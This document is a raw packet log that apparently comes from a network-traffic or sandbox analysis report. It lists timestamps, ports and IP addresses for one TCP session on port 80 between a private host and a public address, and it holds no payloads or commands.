Jan 11, 2025 00:01:00.827164888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.827178955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.827215910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.827249050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.839615107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.839668989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.863991022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.864018917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.864032030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.864043951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.864058018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.864093065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.864118099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897017956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897048950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897063017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897073984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897087097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897099018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897110939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897123098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897129059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897135019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897146940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897159100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897172928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897187948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897197008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897233963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897277117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897308111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897321939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897341013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897362947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897375107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897384882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897403002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897404909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897413969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897424936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897459984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897469044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897470951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897481918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897505045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.897505999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897519112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.897543907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.898299932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898319960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898330927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898343086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898360968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898372889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898374081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.898385048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898397923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898401976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.898437977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.898444891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898457050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898468018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898478985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898483038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.898492098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.898510933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.898535967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.899211884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.899236917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.899249077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.899281979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.899296999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.899298906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.899329901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.915791988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.915811062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.915826082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.915837049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.915848970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.915858030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.915862083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.915875912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.915889978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.915930033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.915949106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.919548035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.919563055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.919617891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.952281952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952330112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952342033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952349901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.952353001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952366114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952377081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.952410936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.952445030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952465057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952485085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952498913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952506065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.952511072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.952537060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.982791901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.982805967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.982825041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.982836008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.982848883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.982880116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.982928038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.982949972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.982961893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.982975006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983089924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.983278036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983292103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983304024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983324051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983335972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983355999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983369112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983381033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983392954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983405113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983417988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983428955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983449936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983458042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.983458042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.983458042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.983458042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.983458042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.983483076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.983501911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.983912945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983954906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983975887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983988047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.983995914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.984026909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.985040903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985066891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985085011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985096931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985109091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985114098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.985153913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.985162973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985181093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985203028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985208988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.985214949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985235929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985244036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:00.985246897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:00.985275984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015264988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015283108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015302896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015326977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015347958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015355110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015367031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015378952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015379906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015393019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015403986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015417099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015438080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015464067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015522003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015559912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015573025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015619993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015631914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015642881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015652895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015685081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015800953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015824080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015836000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015846968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015860081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.015887976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.015919924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016030073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016042948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016053915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016066074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016077042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016087055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016094923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016107082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016140938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016393900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016413927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016426086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016434908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016438007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016452074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016460896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016463995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016485929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016494036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016499043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016511917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016524076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016535044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016561985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016870022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016906977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016908884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016926050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016954899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016962051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.016967058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016979933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.016993046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017004013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017007113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.017035961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.017097950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017115116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017123938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017136097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017141104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.017151117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017163038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.017164946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017193079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.017222881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017236948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017262936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.017940998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017952919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017962933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017972946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.017983913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.017987013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018001080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018009901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.018012047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018035889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.018055916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.018098116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018109083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018119097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018131018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018142939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018155098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018167019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018167973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.018182039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018196106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018199921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.018218040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.018795013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.018842936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.018883944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.020386934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.040783882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.040807962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.040817976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.040829897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.040854931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.040893078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.040941954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.040972948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.040985107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.040994883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041021109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.041162014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041173935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041184902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041193962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041218042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.041244030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.041318893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041328907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041338921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041362047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.041383028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.041388035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041403055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041413069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.041443110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.061450005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.071537971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071620941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071630955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071635962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.071644068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071656942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071667910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071671963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.071698904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.071772099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071820021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071821928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.071933985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071945906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071960926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071980953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.071981907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.071993113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072005987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072011948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.072026014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072036982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072050095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072067976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.072099924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.072398901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072431087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072443962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072468042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.072499990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072514057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072532892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072544098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072555065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072629929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.072629929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.072629929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.072916985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072930098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072942019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072952032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.072972059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.072999001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.073611975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.073673964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.073684931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.073694944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.073707104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.073714972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.073745012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.073769093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.073813915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.073817015 CET	80	49730	193.143.1.205	192.168.2.4
